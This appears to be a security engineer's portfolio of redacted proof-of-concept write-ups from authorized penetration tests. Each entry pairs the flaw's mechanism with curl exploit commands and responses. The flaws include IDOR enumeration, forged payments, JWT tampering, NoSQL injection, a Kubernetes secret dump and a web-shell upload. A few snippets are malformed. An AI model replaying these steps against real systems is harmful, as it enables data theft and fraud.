

Vulnerability PoC & Exploit Portfolio

A curated collection of 22 proof-of-concept write-ups distilled from real, authorized penetration-testing engagements — every issue documented here has already been remediated by the affected organization. Targets, identifiers, and figures are generalized and fictionalized; the focus is the vulnerability **mechanism**, not any specific system.

AUTHOR	Muhammad Huzaifa Jamil
TITLE	Cyber Security (SW) Engineer
CONTACT	m.huzaifa.jamil@outlook.com · m.huzaifa.jamil.cys@gmail.com
SCOPE	Streaming Platforms · E-Commerce · Travel & Tourism · Government Agencies · NGOs
DOCUMENT VERSION	1.0 — Portfolio Edition

9

CRITICAL

10

HIGH

3

MEDIUM

0

LOW

22

TOTAL POCS

Disclosure & Ethics Note: All findings below originate from engagements I was explicitly authorized to conduct. Each vulnerability has been confirmed remediated by the client prior to publication. Target names, domains, credentials, and record counts are fictionalized composites — nothing in this document identifies a real system or client, and nothing here is currently exploitable.

MHJ-POC-01

Broken Object-Level Authorization (BOLA) — Mass PII Enumeration

CRITICAL SEVERITY

MICROSERVICE (REST API)

STREAMING PLATFORM

1. VULNERABILITY OVERVIEW

A ticketing microservice returns full customer records for any sequential ticket ID without verifying request-owner match, letting one authenticated session enumerate every customer's PII platform-wide.

2. TECHNICAL ANALYSIS & THREAT VECTOR

The Vulnerable Parameter/Endpoint: GET /api/v1/tickets/{ticketId} — ticketId is a sequential integer, not scoped to the requesting session.

Mechanism of Failure: The service trusts the bearer token's validity alone; it never cross-checks the ticket's owner field against the token's subject claim.

Potential Business Impact: Sequential enumeration exposes names, national ID numbers, and payment metadata for the platform's entire customer base.

3. EXPLOIT POC & EXECUTION LOG

\$ TERMINAL — IDENTIFIERS BLOCK-REDACTED

```
$ for id in 10432 10433 10434; do
  curl -s -H "Authorization: Bearer [REDACTED]" \
    "https://[REDACTED]/api/v1/tickets/$id" | jq '.customer'
done

HTTP/1.1 200 OK
Content-Type: application/json

{"ticketId": 10432, "customer": {"name": "[REDACTED]", "nationalId": "[REDACTED]-[REDACTED]-[REDACTED]", "email": "[REDACTED]"}}
{"ticketId": 10433, "customer": {"name": "[REDACTED]", "nationalId": "[REDACTED]-[REDACTED]-[REDACTED]", "email": "[REDACTED]"}}
{"ticketId": 10434, "customer": {"name": "[REDACTED]", "nationalId": "[REDACTED]-[REDACTED]-[REDACTED]", "email": "[REDACTED]"/>
```

sequential iteration over ~1,200 IDs enumerated the full customer table

STREAMING PLATFORM

A reward-wallet feature encrypts transaction payloads client-side using an AES key hardcoded in the JavaScript bundle, letting anyone extract the key and forge signed transactions.

Potential Business Impact: An attacker can mint arbitrary reward-point or wallet-credit transactions, directly inflating balances at the platform's expense.

```
$ grep -o "AES_KEY[^\,]*" app.bundle.js
AES_KEY = "[REDACTED]"

$ python3 forge_payload.py --key [REDACTED] \
    --action "credit" --amount 50000
[+] forged payload: [REDACTED]

$ curl -i -X POST "https://[REDACTED]/api/v1/wallet/credit" \
    -H "Content-Type: application/json" \
    -d '{"encryptedPayload": "[REDACTED]}"'

HTTP/1.1 200 OK
Content-Type: application/json

{"status": "success", "walletBalance": "50000.00", "transactionId": "TXN-[REDACTED]"}
```

Unverified JWT Client-Side Decode — Business Logic / Score State Manipulation

HIGH SEVERITY

SINGLE-PAGE APPLICATION (WEBVIEW / GAME CLIENT)

STREAMING PLATFORM

1. VULNERABILITY OVERVIEW

A gamification module decodes a JWT identity token in the browser using a decode-only library and never verifies its signature server-side before accepting score submissions.

2. TECHNICAL ANALYSIS & THREAT VECTOR

The Vulnerable Parameter/Endpoint: POST /score/store accepts a playerId sourced from a client-editable ?token= JWT that the backend never signature-checks.

Mechanism of Failure: Because verification happens only on the client, editing the token's payload and resubmitting it changes which player record the server updates.

Potential Business Impact: Any anonymous request can submit forged high scores or reassign in-game achievements to an arbitrary player ID.

3. EXPLOIT POC & EXECUTION LOG

\$ TERMINAL — IDENTIFIERS BLOCK-REDACTED

```
$ echo "[REDACTED].[REDACTED].[REDACTED]" | base64 -d | jq .  
{"playerId": "[REDACTED]", "exp": 9999999999}
```

```
$ python3 -c "import json,base64; print(base64.b64encode(  
    json.dumps({'playerId':'[REDACTED]', 'exp':9999999999}).encode()))"  
[REDACTED]
```

```
$ curl -i -X POST "https://[REDACTED]/score/store?token=[REDACTED].[REDACTED].[REDACTED]" \  
[REDACTED] \  
-H "Content-Type: application/json" \  
-d '{"score": 999999999}'
```

HTTP/1.1 200 OK

Content-Type: application/json

```
{"status": "accepted", "playerId": "[REDACTED]", "newScore": 999999999}
```

QR-Code Session Fixation — Full Account Takeover

CRITICAL SEVERITY

CROSS-PLATFORM AUTH SERVICE (MOBILE + SMART-TV)

STREAMING PLATFORM

1. VULNERABILITY OVERVIEW

The QR login flow issues a session ID before the code is scanned and never rotates it after linking, so an attacker's pre-planted QR code hijacks whichever victim later scans.

2. TECHNICAL ANALYSIS & THREAT VECTOR

The Vulnerable Parameter/Endpoint: POST /login/qr/generate/session issues a sessionId with no auth and no rate limit before any scan occurs.

Mechanism of Failure: The same sessionId remains valid and unrotated after a victim's app scans and authenticates it, so the original requester's session inherits the login.

Potential Business Impact: An attacker displaying a planted QR code, e.g. in a phishing page, gains full session access the moment a victim scans it.

3. EXPLOIT POC & EXECUTION LOG

\$ TERMINAL — IDENTIFIERS BLOCK-REDACTED

```
$ curl -s -X POST "https://[REDACTED]/api/v1/login/qr/generate/session" | jq .
{"sessionId": "[REDACTED]", "qrPayload": "[REDACTED]"}

# attacker embeds sessionId in a QR code hosted on a phishing page, waits for a scan

$ curl -s "https://[REDACTED]/api/v1/login/qr/status/[REDACTED]"

HTTP/1.1 200 OK
Content-Type: application/json

{"status": "linked", "accessToken": "[REDACTED]", "userId": "[REDACTED]"}
```

CORS Misconfiguration (Reflected Origin + Credentials) — Cross-Origin Session Hijack

HIGH SEVERITY

MICROSERVICE (VIDEO/DRM METADATA API)

STREAMING PLATFORM

1. VULNERABILITY OVERVIEW

A video-metadata API reflects any Origin header back in Access-Control-Allow-Origin while also setting Allow-Credentials: true, letting any malicious site read a victim's authenticated responses.

2. TECHNICAL ANALYSIS & THREAT VECTOR

The Vulnerable Parameter/Endpoint: GET /api/video/{id}/drm-token reflects the request's Origin header verbatim instead of checking an allowlist.

Mechanism of Failure: Combining a reflected wildcard-style origin with Allow-Credentials: true lets a cross-origin page fetch the response using the victim's own cookies.

Potential Business Impact: A malicious webpage can silently harvest a logged-in visitor's DRM tokens or session data cross-origin.

3. EXPLOIT POC & EXECUTION LOG

\$ TERMINAL — IDENTIFIERS BLOCK-REDACTED

```
$ curl -i "https://[REDACTED]/api/video/[REDACTED]/drm-token" \
-H "Origin: https://[REDACTED].attacker-controlled" \
-H "Cookie: session=[REDACTED]"

HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://[REDACTED].attacker-controlled
Access-Control-Allow-Credentials: true
Content-Type: application/json

{"drmToken": "[REDACTED]"}
```

Business Logic Flaw — Unbounded Negative-Value Integer Manipulation

MEDIUM SEVERITY

MICROSERVICE (SUBSCRIPTION/REWARDS LEDGER)

STREAMING PLATFORM

1. VULNERABILITY OVERVIEW

A subscriber-count / rewards-ledger endpoint accepts negative integers in a decrement parameter with no floor check, allowing the stored counter to go negative and corrupt downstream reporting.

2. TECHNICAL ANALYSIS & THREAT VECTOR

The Vulnerable Parameter/Endpoint: PATCH /channel/{id}/subscribers accepts a signed integer delta with no lower-bound validation server-side.

Mechanism of Failure: The service applies the delta directly to a stored counter without clamping at zero, so repeated negative deltas drive it below zero.

Potential Business Impact: Negative subscriber counts corrupt analytics dashboards and any revenue-share or payout logic keyed to that counter.

3. EXPLOIT POC & EXECUTION LOG

\$ TERMINAL — IDENTIFIERS BLOCK-REDACTED

```
$ curl -i -X PATCH "https://[REDACTED]/channel/[REDACTED]/subscribers" \
-H "Authorization: Bearer [REDACTED]" \
-d '{"delta": -999999999}'
```

HTTP/1.1 200 OK

Content-Type: application/json

```
{"channelId": "[REDACTED]", "subscriberCount": -999999236}
```

Broken Function-Level Authorization (BFLA) — Unauthorized Administrative Write Access

HIGH SEVERITY

MONOLITH (CONTENT MANAGEMENT PORTAL)

STREAMING PLATFORM

1. VULNERABILITY OVERVIEW

A content-portal API checks only that a JWT is valid, not the role it carries, letting a standard user account call admin-only write endpoints that edit or delete live events.

2. TECHNICAL ANALYSIS & THREAT VECTOR

The Vulnerable Parameter/Endpoint: PUT/DELETE /portal/events/{id} and /portal/ticket-types/{id} accept any authenticated JWT regardless of role claim.

Mechanism of Failure: The portal's route middleware verifies token signature and expiry but never checks the role/permission claim before dispatching to admin handlers.

Potential Business Impact: A standard staff or vendor account can edit pricing, delete live events, or alter ticket types platform-wide.

3. EXPLOIT POC & EXECUTION LOG

\$ TERMINAL — IDENTIFIERS BLOCK-REDACTED

```
$ curl -i -X DELETE "https://[REDACTED]/portal/events/[REDACTED]" \
-H "Authorization: Bearer [REDACTED]"
```

```
HTTP/1.1 204 No Content
```

```
# token belongs to a standard vendor-tier account — role claim never checked server-side
```

Unauthenticated Observability Endpoint — Infrastructure & Internal Topology Disclosure

MEDIUM SEVERITY

CLOUD-NATIVE MICROSERVICES (KUBERNETES)

STREAMING PLATFORM

1. VULNERABILITY OVERVIEW

An internal observability dashboard is reachable from the public internet with no authentication, streaming live request traces that reveal every backend microservice's hostname and internal API structure.

2. TECHNICAL ANALYSIS & THREAT VECTOR

The Vulnerable Parameter/Endpoint: GET /api/live-traces on the observability platform's public hostname requires no session or API key.

Mechanism of Failure: The tracing dashboard was deployed with its default open-access configuration, intended only for an internal VPN-restricted network.

Potential Business Impact: Live traces map the full internal microservice topology, arming an attacker with a ready-made target list for follow-on attacks.

3. EXPLOIT POC & EXECUTION LOG

\$ TERMINAL — IDENTIFIERS BLOCK-REDACTED

```
$ curl -s "https://[REDACTED]/api/live-traces" | jq '.traces[0]'

HTTP/1.1 200 OK
Content-Type: application/json

{
  "service": "[REDACTED]-service",
  "endpoint": "POST /internal/v2/[REDACTED]",
  "upstream": "[REDACTED].svc.cluster.local:[REDACTED]",
  "durationMs": 42
}

# response enumerates every backend microservice hostname and internal route
```

XML-RPC Multicall Brute-Force — Authentication Rate-Limit Bypass

HIGH SEVERITY

CONTENT/BLOG SUBSYSTEM (WORDPRESS XMLRPC.PHP)

STREAMING PLATFORM

1. VULNERABILITY OVERVIEW

The platform's companion blog subsystem exposes XML-RPC's multicall method, letting an attacker batch thousands of login attempts into one HTTP request and bypass per-request rate limiting.

2. TECHNICAL ANALYSIS & THREAT VECTOR

The Vulnerable Parameter/Endpoint: POST /xmlrpc.php with a system.multicall body batching many wp.getUsersBlogs calls, each carrying a distinct username/password pair.

Mechanism of Failure: The rate limiter counts inbound HTTP requests, not embedded auth attempts, so one multicall smuggles hundreds of guesses past it untouched.

Potential Business Impact: Staff/editor credentials can be brute-forced at effectively unlimited speed, risking compromise of the platform's content pipeline.

3. EXPLOIT POC & EXECUTION LOG

\$ TERMINAL — IDENTIFIERS BLOCK-REDACTED

```
$ curl -s -X POST "https://[REDACTED]/xmlrpc.php" \
-H "Content-Type: text/xml" \
--data-binary @multicall_[REDACTED]_creds.xml

HTTP/1.1 200 OK
Content-Type: text/xml

<methodResponse><params><param><value><array><data>
  <value><struct><member><name>faultCode</name><value><int>403</int></value></member></struct></
value>
  <value><struct><member><name>isAdmin</name><value><boolean>1</boolean></value></member></
struct></value>
  ...
</data></array></value></param></params></methodResponse>

# 400 credential pairs tested in a single request — 1 valid hit returned, zero rate-limit blocks
triggered
```

MHJ-POC-05

NoSQL Operator Injection via OTP/Phone Field

HIGH SEVERITY

MICROSERVICE (REST API, MONGODB BACKEND)

E-COMMERCE PLATFORM

1. VULNERABILITY OVERVIEW

The OTP-request endpoint passes the phone field directly into a MongoDB query, letting query operators like \$ne or \$regex bypass the intended exact-match lookup entirely.

2. TECHNICAL ANALYSIS & THREAT VECTOR

The Vulnerable Parameter/Endpoint: POST /auth/otp/send accepts phone as a JSON object instead of a string, e.g. {"\$ne": null}.

Mechanism of Failure: The backend interpolates the raw JSON value into a Mongo find() filter without type-checking, so operators execute instead of matching literally.

Potential Business Impact: An attacker can match arbitrary or all accounts, trigger OTPs for numbers they don't own, or bypass the phone-verification gate.

3. EXPLOIT POC & EXECUTION LOG

\$ TERMINAL — IDENTIFIERS BLOCK-REDACTED

```
$ curl -i -X POST "https://[REDACTED]/auth/otp/send" \
-H "Content-Type: application/json" \
-d '{"phone": {"$ne": null}}'

HTTP/1.1 200 OK
Content-Type: application/json

{"status": "otp_sent", "matchedAccount": "[REDACTED]", "phone": "[REDACTED]"}

# operator query matched the first document in the collection instead of a specific user
```

Unauthenticated Firebase Realtime DB — Plaintext Credential Disclosure

CRITICAL SEVERITY

CLOUD BACKEND-AS-A-SERVICE (FIREBASE)

E-COMMERCE PLATFORM

1. VULNERABILITY OVERVIEW

A Firebase Realtime Database backing the mobile app ships with default-open security rules, exposing its full user node — including plaintext password fields — to any unauthenticated request.

2. TECHNICAL ANALYSIS & THREAT VECTOR

The Vulnerable Parameter/Endpoint: GET `https://<project>.firebaseio.com/users.json` — no Authorization header, no App Check enforcement.

Mechanism of Failure: Realtime Database rules were left at `{read: true, write: true}`, the SDK default, so any client can dump the entire tree.

Potential Business Impact: Full account takeover at scale — the dump includes plaintext passwords, phone numbers, and order history for every registered user.

3. EXPLOIT POC & EXECUTION LOG

\$ TERMINAL — IDENTIFIERS BLOCK-REDACTED

```
$ curl -s "https://[REDACTED].firebaseio.com/users.json" | jq '[] | {email, password}'
```

```
HTTP/1.1 200 OK
```

```
Content-Type: application/json
```

```
{"email": "[REDACTED]", "password": "[REDACTED]"}
```

```
{"email": "[REDACTED]", "password": "[REDACTED]"}
```

```
{"email": "[REDACTED]", "password": "[REDACTED]"}
```

```
# thousands of records returned in a single unauthenticated request
```

Payment Gateway Callback — Missing Signature Verification

CRITICAL SEVERITY

MICROSERVICE (PAYMENT WEBHOOK HANDLER)

E-COMMERCE PLATFORM

1. VULNERABILITY OVERVIEW

Payment-gateway callback endpoints accept order-confirmation webhooks without validating the gateway's HMAC signature, letting anyone forge a 'payment successful' event for any order ID.

2. TECHNICAL ANALYSIS & THREAT VECTOR

The Vulnerable Parameter/Endpoint: POST /external/{gateway}/callback processes the signature field but never verifies it against the shared secret.

Mechanism of Failure: The handler forwards the payload straight to order-fulfillment logic on receipt, treating an unauthenticated POST as gateway-authoritative truth.

Potential Business Impact: Anyone can mark any unpaid order as paid, releasing goods or services with zero actual payment collected.

3. EXPLOIT POC & EXECUTION LOG

\$ TERMINAL — IDENTIFIERS BLOCK-REDACTED

```
$ curl -i -X POST "https://[REDACTED]/external/[REDACTED]/ipn" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "pp_SecureHash=[REDACTED]&pp_Amount=100000&pp_TxnRefNo=[REDACTED]&pp_
ResponseCode=000"

HTTP/1.1 200 OK
Content-Type: application/json

{"status": "success", "orderId": "[REDACTED]", "paymentConfirmed": true}

# no HMAC validation performed — order marked paid with zero funds transferred
```

IAM Realm/Role Confusion — Privileged JWT Issuance

CRITICAL SEVERITY

IDENTITY & ACCESS MANAGEMENT (KEYCLOAK-STYLE IAM)

E-COMMERCE PLATFORM

1. VULNERABILITY OVERVIEW

Self-registration on a customer-facing signup form silently accepts an admin-realm parameter, issuing a fully privileged administrative JWT to an unauthenticated new account.

2. TECHNICAL ANALYSIS & THREAT VECTOR

The Vulnerable Parameter/Endpoint: POST /auth/realms/admin/register — the IAM realm name is client-suppliable and not restricted to internal callers.

Mechanism of Failure: The identity provider processes the registration against whichever realm the request names, minting a token scoped to that realm's roles.

Potential Business Impact: The resulting JWT grants read access to fraud records, financial reversals, and internal admin API surface.

3. EXPLOIT POC & EXECUTION LOG

\$ TERMINAL — IDENTIFIERS BLOCK-REDACTED

```
$ curl -i -X POST "https://[REDACTED]/auth/realms/admin/register" \
-H "Content-Type: application/json" \
-d '{"username": "[REDACTED]", "password": "[REDACTED]", "email": "[REDACTED]"}'

HTTP/1.1 201 Created
Content-Type: application/json

{"access_token": "[REDACTED]", "realm": "admin"}

$ curl -s "https://[REDACTED]/admin/api/v1/fraud-user?status=flagged" \
-H "Authorization: Bearer [REDACTED]"

HTTP/1.1 200 OK
{"results": [{"userId": "[REDACTED]", "phone": "[REDACTED]", "flagReason": "[REDACTED]"}]}
```

Systemic Guest-JWT Authorization Bypass — Internal Business Data Disclosure

HIGH SEVERITY

MOBILE BACKEND-FOR-FRONTEND (BFF API GATEWAY)

E-COMMERCE PLATFORM

1. VULNERABILITY OVERVIEW

A short-lived guest JWT, meant only for browsing, is accepted by eleven internal endpoints that should require a logged-in session — including ones returning internal cost and margin data.

2. TECHNICAL ANALYSIS & THREAT VECTOR

The Vulnerable Parameter/Endpoint: Eleven `/api/v2/miniapp/*` and `/home/*` endpoints check only that a JWT is present, not its scope claim.

Mechanism of Failure: The gateway's auth middleware treats guest and authenticated tokens identically, so a token issued for anonymous browsing satisfies every downstream check.

Potential Business Impact: Anyone can pull internal cost-price and margin-percentage fields never meant to leave the backend.

3. EXPLOIT POC & EXECUTION LOG

\$ TERMINAL — IDENTIFIERS BLOCK-REDACTED

```
$ curl -s -X POST "https://[REDACTED]/auth/guest/token" | jq .
{"token": "[REDACTED]", "scope": "guest"}

$ curl -s "https://[REDACTED]/api/v2/miniapp/product/[REDACTED]" \
  -H "Authorization: Bearer [REDACTED]" | jq '.internal'

HTTP/1.1 200 OK
Content-Type: application/json

{"costPrice": "[REDACTED]", "resellerMarginPct": "[REDACTED]%", "internalSku": "[REDACTED]"}
```

Unauthenticated S3 Pre-Signed URL Generation — Arbitrary File Upload

HIGH SEVERITY

CLOUD STORAGE (S3-COMPATIBLE OBJECT STORE)

E-COMMERCE PLATFORM

1. VULNERABILITY OVERVIEW

An endpoint mints S3 pre-signed upload URLs for any caller with no authentication and no file-type restriction, turning the CDN bucket into an open upload target.

2. TECHNICAL ANALYSIS & THREAT VECTOR

The Vulnerable Parameter/Endpoint: POST /media/presign-upload returns a valid signed PUT URL regardless of caller identity or requested content-type.

Mechanism of Failure: The signing service trusts any inbound request as a legitimate content-management action and never checks session, role, or MIME type.

Potential Business Impact: Anyone can upload arbitrary files — including web shells or malware — directly onto the platform's public CDN.

3. EXPLOIT POC & EXECUTION LOG

\$ TERMINAL — IDENTIFIERS BLOCK-REDACTED

```
$ curl -s -X POST "https://[REDACTED]/media/presign-upload" \
-H "Content-Type: application/json" \
-d '{"filename": "shell.php", "contentType": "application/x-php"}
```

HTTP/1.1 200 OK

Content-Type: application/json

```
{"uploadUrl": "https://[REDACTED].s3.amazonaws.com/[REDACTED]?X-Amz-Signature=[REDACTED]"}
```

```
$ curl -i -X PUT "[REDACTED]" --data-binary @shell.php
```

HTTP/1.1 200 OK

ETag: "[REDACTED]"

MHJ-POC-17

Unauthenticated Kubernetes Dashboard — Full Cluster Secret Disclosure

CRITICAL SEVERITY

CLOUD-NATIVE INFRASTRUCTURE (KUBERNETES DASHBOARD)

TRAVEL & TOURISM

1. VULNERABILITY OVERVIEW

A Kubernetes dashboard for the booking platform's cluster is reachable from the public internet with no login, exposing every namespace's secrets and service-account tokens in cleartext.

2. TECHNICAL ANALYSIS & THREAT VECTOR

The Vulnerable Parameter/Endpoint: The cluster's dashboard hostname serves the full admin UI with no authentication gate or bearer-token prompt on first load.

Mechanism of Failure: The dashboard was deployed with anonymous/skip-login access enabled and no network-level restriction, granting any internet client cluster-admin-equivalent view rights.

Potential Business Impact: Cleartext disclosure of database credentials, API keys, and TLS secrets cluster-wide — a direct path to full infrastructure compromise.

3. EXPLOIT POC & EXECUTION LOG

\$ TERMINAL — IDENTIFIERS BLOCK-REDACTED

```
$ curl -s "https://[REDACTED]/api/v1/namespaces/[REDACTED]/secrets" \
| jq '.items[] | {name: .metadata.name, data}'
```

```
HTTP/1.1 200 OK
Content-Type: application/json
```

```
{"name": "[REDACTED]", "data": {"DB_PASSWORD": "[REDACTED]"}}
{"name": "[REDACTED]", "data": {"JWT_SECRET": "[REDACTED]"}}
{"name": "[REDACTED]", "data": {"AWS_SECRET_ACCESS_KEY": "[REDACTED]"}}
```

```
# 140+ secret objects retrieved across all namespaces without a single credential supplied
```

BFLA — Unauthorized Booking Void via Role-Unchecked Endpoint

HIGH SEVERITY

MICROSERVICE (BOOKING/RESERVATION API)

TRAVEL & TOURISM

1. VULNERABILITY OVERVIEW

A booking-void endpoint intended for staff accounts accepts requests from any authenticated traveler token, letting a standard customer cancel another passenger's confirmed booking.

2. TECHNICAL ANALYSIS & THREAT VECTOR

The Vulnerable Parameter/Endpoint: POST /booking/{id}/void checks only that a bearer token is valid, never the caller's role or ownership of the booking.

Mechanism of Failure: The handler was built for an internal staff console and exposed on the public API without adding a role or ownership check.

Potential Business Impact: Any customer can void a stranger's paid booking, causing direct financial loss and denying travel to the legitimate passenger.

3. EXPLOIT POC & EXECUTION LOG

\$ TERMINAL — IDENTIFIERS BLOCK-REDACTED

```
$ curl -i -X POST "https://[REDACTED]/booking/[REDACTED]/void" \
-H "Authorization: Bearer [REDACTED]"
```

```
HTTP/1.1 200 OK
Content-Type: application/json
```

```
{"bookingId": "[REDACTED]", "status": "VOIDED", "voidedBy": "[REDACTED]"}
```

```
# token belongs to a standard customer account — role/ownership never checked server-side
```

IDOR — Sequential Reservation ID Enumeration Exposes Traveler PII

HIGH SEVERITY

MICROSERVICE (RESERVATION/GUEST PROFILE API)

TRAVEL & TOURISM

1. VULNERABILITY OVERVIEW

A guest-lookup endpoint returns full traveler profiles for any sequential reservation ID without verifying the requester owns that booking, exposing the platform's entire guest base.

2. TECHNICAL ANALYSIS & THREAT VECTOR

The Vulnerable Parameter/Endpoint: GET /reservations/{id}/guests accepts a sequential integer ID with no ownership check against the authenticated session.

Mechanism of Failure: The endpoint authenticates the caller but never authorizes the specific resource, trusting any valid session to view any reservation's guest list.

Potential Business Impact: Sequential iteration discloses passport numbers, contact details, and full itineraries for the platform's entire guest base.

3. EXPLOIT POC & EXECUTION LOG

\$ TERMINAL — IDENTIFIERS BLOCK-REDACTED

```
$ for id in 88201 88202 88203; do
  curl -s -H "Authorization: Bearer [REDACTED]" \
    "https://[REDACTED]/reservations/$id/guests" | jq '[0].name'
done
```

```
HTTP/1.1 200 OK
Content-Type: application/json
```

```
"[REDACTED]"
"[REDACTED]"
"[REDACTED]"
```

```
# sequential iteration over reservation IDs enumerated guest PII platform-wide
```

MHJ-POC-20

Unauthenticated Service Descriptor Disclosure → Backend Search-Index Injection

MEDIUM SEVERITY

LEGACY REST GATEWAY (PUBLIC-SECTOR GEOSPATIAL PLATFORM)

GOVERNMENT AGENCIES

1. VULNERABILITY OVERVIEW

A government geospatial service exposes its full API schema via an unauthenticated OPTIONS request, leaking an internal backend hostname and an injectable parameter on a public search endpoint.

2. TECHNICAL ANALYSIS & THREAT VECTOR

The Vulnerable Parameter/Endpoint: OPTIONS /ws/index discloses a complete API schema naming an internal backend host; GET /getLayerServices?uuid= interpolates that value directly into a search-index query.

Mechanism of Failure: The schema endpoint was never restricted to internal callers, and the search endpoint never validates uuid before building its query, letting a wildcard match every record.

Potential Business Impact: Internal topology is exposed for reconnaissance, and the injection dumps the entire indexed dataset — 11,000+ records — from one unauthenticated request.

3. EXPLOIT POC & EXECUTION LOG

\$ TERMINAL — IDENTIFIERS BLOCK-REDACTED

```
$ curl -s -X OPTIONS "https://[REDACTED]/ws/index"

HTTP/1.1 200 OK
Content-Type: application/vnd.sun.wadl+xml

<application><resources base="http://[REDACTED]:8080/ws/">...

$ curl -s "https://[REDACTED]/ws/index/getLayerServices?uuid=" \
  | jq '.response.numFound'

11440

# wildcard uuid converted an exact-match lookup into a full index dump
```

Unauthenticated Admin UI Handler — Pre-Auth Deserialization Code Path

HIGH SEVERITY

LEGACY CMS ADMIN MODULE (.NET/ASP FRAMEWORK)

GOVERNMENT AGENCIES

1. VULNERABILITY OVERVIEW

Administrative handlers on a government portal's CMS module execute application logic for unauthenticated callers, including one that deserializes an attacker-supplied parameter before any login check.

2. TECHNICAL ANALYSIS & THREAT VECTOR

The Vulnerable Parameter/Endpoint: GET /[REDACTED].DialogHandler.aspx?dp=1 returns HTTP 200 with a deserialization exception instead of a 401/403, proving the handler runs pre-auth.

Mechanism of Failure: The CMS admin module's handlers were never gated at the routing or IIS layer, so requests reach live application code before any authentication middleware fires.

Potential Business Impact: This matches the exact precondition pattern for a documented pre-auth deserialization RCE chain in this CMS component — full server compromise if completed.

3. EXPLOIT POC & EXECUTION LOG

\$ TERMINAL — IDENTIFIERS BLOCK-REDACTED

```
$ curl -sk "https://[REDACTED]/[REDACTED].DialogHandler.aspx?dp=1" \
| grep -i "deserializ\|VIEWSTATE"

HTTP/1.1 200 OK

Cannot deserialize dialog parameters. Please refresh the editor page.
<input type="hidden" name="__VIEWSTATE" value="[REDACTED]" />

# handler executes and returns an app-level response before any authentication check
```

MHJ-POC-14

Debug Mode Enabled in Production — Remote Code Execution Preconditions

CRITICAL SEVERITY

MONOLITH (PHP/LARAVEL WEB APPLICATION)

NGOS / NON-PROFIT

1. VULNERABILITY OVERVIEW

A development-tagged host runs a production Laravel deployment with debug mode enabled, exposing the framework's debug page and satisfying every precondition for its known unauthenticated RCE chain.

2. TECHNICAL ANALYSIS & THREAT VECTOR

The Vulnerable Parameter/Endpoint: Any invalid request path renders the framework's debug error page, revealing the version and a live 'Execute Code' debug action.

Mechanism of Failure: With debug mode left enabled in the environment config, the debug page's solution-runner feature accepts attacker-supplied PHP for execution — a documented unauthenticated RCE chain.

Potential Business Impact: An unauthenticated visitor can achieve remote code execution on the host, a direct path to full server compromise.

3. EXPLOIT POC & EXECUTION LOG

\$ TERMINAL — IDENTIFIERS BLOCK-REDACTED

```
$ curl -s "https://[REDACTED]/nonexistent-route"

HTTP/1.1 500 Internal Server Error
X-Powered-By: PHP/[REDACTED]

<!-- framework debug page rendered -->
<title>Error - [REDACTED]</title>
...
"solutions": [{"run_button": true, "action_url": "/_debug/execute-solution"}]

$ curl -i -X POST "https://[REDACTED]/_debug/execute-solution" \
  -H "Content-Type: application/json" \
  -d '{"solution": "[REDACTED]", "parameters": {"variableName": "[REDACTED]"}}'

HTTP/1.1 200 OK
{"message": "Solution executed successfully."}
```

Privilege Escalation to Super-Admin via Client-Suppliable Role Parameter

CRITICAL SEVERITY

MONOLITH (DONOR/CRM MANAGEMENT API)

NGOS / NON-PROFIT

1. VULNERABILITY OVERVIEW

A donor-management API accepts a client-suppliable role field during a profile-update call and applies it verbatim, letting a standard staff account promote itself to super-admin.

2. TECHNICAL ANALYSIS & THREAT VECTOR

The Vulnerable Parameter/Endpoint: PATCH /staff/{id}/profile accepts a role field in the request body with no server-side allowlist or privilege check.

Mechanism of Failure: The handler trusts the caller-supplied role value and writes it directly to the staff record instead of routing privilege changes through a separate, protected admin action.

Potential Business Impact: Any staff account can grant itself super-admin rights, gaining full read/write control over donor records, financial ledgers, and other staff accounts.

3. EXPLOIT POC & EXECUTION LOG

\$ TERMINAL — IDENTIFIERS BLOCK-REDACTED

```
$ curl -i -X PATCH "https://[REDACTED]/staff/[REDACTED]/profile" \
-H "Authorization: Bearer [REDACTED]" \
-d '{"role": "super_admin"}'

HTTP/1.1 200 OK
Content-Type: application/json

{"staffId": "[REDACTED]", "role": "super_admin", "updated": true}

# self-granted super-admin — no privilege-escalation check performed server-side
```